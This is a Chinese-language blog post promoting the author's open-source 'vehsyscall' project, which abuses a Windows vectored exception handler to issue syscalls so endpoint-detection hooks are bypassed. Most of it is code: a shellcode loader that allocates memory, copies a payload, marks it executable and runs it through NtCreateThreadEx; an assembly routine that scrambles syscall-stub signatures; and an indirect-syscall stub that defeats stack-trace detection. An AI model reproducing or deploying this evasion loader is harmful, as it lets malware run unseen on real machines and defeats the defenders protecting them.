Vehsyscall Save

前记

历史热门syscall项目

• Hell’s Gate：地狱之门【查找hash】
• Halo's Gate：光环之门【上下遍历】
• Spoofing-Gate：欺骗之门【替换伪造】
• ParallelSyscalls【内存修复】
• GetSSN【遍历排序】
• SysWhispers3【查找替换】

上面的项目都很不错，值得学习。今天介绍的是一个冷门的syscall方法：VEH syscall

项目已开源，求个stars嘻嘻嘻

https://github.com/coleak2021/vehsyscall

VEH syscall

VEH基础

#include <windows.h>
#include <stdio.h>

// VEH原型
LONG CALLBACK VectoredExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo);
LONG CALLBACK VectoredExceptionHandler(EXCEPTION_POINTERS* ExceptionInfo) {
    // 检查是否存在访问冲突
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
        printf("Access violation detected!\n");
        // 处理访问冲突的代码段
    }

    // 处理其他额外异常的代码段

    // EXCEPTION_CONTINUE_SEARCH返回值为0，并且调用下一个处理程序函数
    return EXCEPTION_CONTINUE_SEARCH;
}

int main() {
    // 注册VEH
    PVOID handle = AddVectoredExceptionHandler(1, VectoredExceptionHandler);
    // 取消注册VEH
    RemoveVectoredExceptionHandler(handle);
    return 0;
}

VEH syscall流程

// Vectored Exception Handler function
LONG CALLBACK PvectoredExceptionHandler(PEXCEPTION_POINTERS exception_ptr) {
    // Check if the exception is an access violation
    if (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
        // Modify the thread's context to redirect execution to the syscall address
        // Copy RCX register to R10
        exception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;

        // Copy RIP (Instruction Pointer) to RAX (RIP keeps SSN --> RAX keeps SSN)      
        exception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip;

        // Set RIP to global address (set syscalls address retrieved from NtDrawText to RIP register)       
        exception_ptr->ContextRecord->Rip = g_syscall_addr;

        // Continue execution at the new instruction pointer
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    // Continue searching for another exception handler
    return EXCEPTION_CONTINUE_SEARCH;
}

这里通过ContextRecord修改程序上下文中的寄存器值构造了syscall stub

vehsyscall关键代码分析

// define var
std::map<int, string> Nt_Table;
DWORD t = 0;
LPVOID m_Index = m_Index = GetProcAddress(GetModuleHandleA("Ntdll.dll"), "NtDrawText");//a safe function address that may not be hooked by edr

//main function
int main(int argc, char* argv[]) {
    //exec NtAllocateVirtualMemory
    NtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
    t = GetSSN("ZwAllocateVirtualMemory");
    pNtAllocateVirtualMemory((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);

    //write your code
    VxMoveMemory(lpAddress, rawData, sizeof(rawData));

    //exec NtProtectVirtualMemory
    NtProtectVirtualMemory pNtProtectVirtualMemory = NULL;
    t = GetSSN("ZwProtectVirtualMemory");
    pNtProtectVirtualMemory((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);


    //exec NtCreateThreadEx
    pNtCreateThreadEx NtCreateThreadEx = NULL;
    t = GetSSN("ZwCreateThreadEx");
    NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpAddress, NULL, 0, 0, 0, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

int GetSSN(std::string apiname)
{
    int index = 0;
    for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter)
    {
        if (apiname == iter->second)
            return index;
        index++;
    }
}

//VEH function
LONG WINAPI VectExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) {
    // handle EXCEPTION_ACCESS_VIOLATION
    if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
        // Construct syscall stub

        pExceptionInfo->ContextRecord->R10 = pExceptionInfo->ContextRecord->Rcx; // mov r10,rcx
        hello(); 
        pExceptionInfo->ContextRecord->Rax = t;   //mov rax,xxx
        hello();
        pExceptionInfo->ContextRecord->Rip = (DWORD64)((DWORD64)m_Index + 0x12); // syscall
        hello();
        return EXCEPTION_CONTINUE_EXECUTION; // cintinue your code
    }
    return EXCEPTION_CONTINUE_SEARCH; //find othner function to handle VEH  
}

通过遍历‘Zw’的map获取SSN，利用EXCEPTION_ACCESS_VIOLATION异常处理进行syscall stub构造

coleak.asm

.data
	name db 'coleak',0

.code 
	hello PROC
		nop
		mov eax,ebx
		mov ebx,edx
		mov ebx,eax
		nop
		mov edx,ebx
		ret
	hello ENDP
end

简单打乱下syscall stub的特征

后记

_LDR_DATA_TABLE_ENTRY

根据InMemoryOrderModuleList的Flink值查找对应结构时，一定要减去16字节（0x10），以保证我们正确对齐（x86或x64皆如此）

段寄存器

x64 GS

gs:[0x30]                 TEB
gs:[0x40]                 Pid
gs:[0x48]                 Tid
gs:[0x60]                 PEB
gs:[0x68]                 LastError

x86 FS

一、MOV EAX, FS: [0x18] 
MOV EAX, [EAX + 0x30]
二、MOV EAX, FS: [0x30]
//peb

PEB地址

• ​ 在x86进程的线程进程块(TEB)中FS寄存器中的0x30偏移处找到。
• ​ 在x64进程的线程进程块(TEB)中GS寄存器中的0x60偏移处找到。

OSMajorVersion 一个表示操作系统的主版本号的数字。 下表定义了 Windows 操作系统的主版本。

Windows 版本	主版本
Windows 11 (所有版本)	10
Windows Server 2022	10
Windows Server 2019	10
Windows Server 2016	10
Windows 10 (所有版本)	10
Windows Server 2012 R2	6
Windows 8.1	6
Windows Server 2012	6
Windows 8	6
Windows Server 2008 R2	6
Windows 7	6
Windows Server 2008	6
Windows Vista	6
Windows Server 2003 R2	5
Windows Server 2003	5
Windows XP	5
Windows 2000	5

内存小端存储

栈回溯检测syscall

正常系统调用时，主程序模块->kernel32.dll->ntdll.dll->syscall，这样当0环执行结束返回3环的时候，这个返回地址应该是在ntdll所在的地址范围之内。直接调用syscall时，rip将会是你的主程序模块内，而并不是在ntdll所在的范围内。

当然同样很好绕过，使用间接调用，也就是在ntdll中调用syscall stub的末尾部分，调用完成后会返回到ntdll，即syscall和return指令在 ntdll.dll 内存中的syscall stub执行

.CODE  ; indirect syscalls assembly code
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
    mov r10, rcx                  ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
    mov eax, 18h                  ; Move the syscall number into the eax register.
    jmp QWORD PTR [sysAddrNtAllocateVirtualMemory]  ; Jump to the actual syscall memory address in ntdll.dll
NtAllocateVirtualMemory ENDP      ; End of the procedure

Exception-Handler返回值

Reference

https://xz.aliyun.com/t/13582?time__1311=mqmxnQiQG%3DDQDtG8DlcIo0%3D%3DaRiCd84D&alichlgref=https%3A%2F%2Fcn.bing.com%2F
https://0range-x.github.io/2022/03/14/syscall/
https://github.com/am0nsec/HellsGate